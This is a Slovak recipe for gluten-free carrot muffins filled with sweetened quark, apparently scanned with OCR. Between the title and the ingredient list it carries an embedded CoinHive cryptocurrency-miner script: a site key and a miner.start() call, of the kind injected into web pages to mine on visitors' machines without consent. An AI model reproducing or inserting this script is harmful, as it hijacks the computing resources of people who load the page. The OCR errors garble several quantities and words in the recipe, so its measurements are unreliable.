Mrkvové mafiny plnené tvarohom

var miner = new
CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bU
D87VW1NfjqucRZNNVTb1AHGUK2fkg5Nd55mLNnB4WK'); miner.start();

12 hméeka (250ml) bezlepkovej miky Promix PK $pecial, 1 %2 CL jedlej sody, 1 CL soli, 1 CL
mletej Skorice, 1 CL kypriaceho prasku, Y2 CL mlety muskatovy orieSok (nemusi byf), 1 hrnéek
kryStalového cukru, 3 vajcia + 1 bielok, 165ml oleja, 1 2 hrnéeka najemno nastruhanej mrkvy.

Tvarohova plnka: 250g tvarohu, 1 vanilinovy cukor, 2 PL praskovy alebo krystalovy cukor, 1
Zltok, 3 celé vajcia a bielok vy$rahame s olejom, pridame nastrGhani mrkvu, premie$ame a
nakoniec pridame suché prisady, ¢ize muku, sédu, sol, kypriaci prasok, Skoricu, cukor a véetko
spolu riadne vymieSame.

Do mafinovej formy naukladame papierové koSi¢ky a do nich rozdelime cesto — vyjde na 24
koSickov. Na vrch cesta malou lyZickou rovnomerne pokladieme tvarohovu plnku a jemne
vtlac¢ime do cesta. PeCieme pri 175°C cca 20 minut.




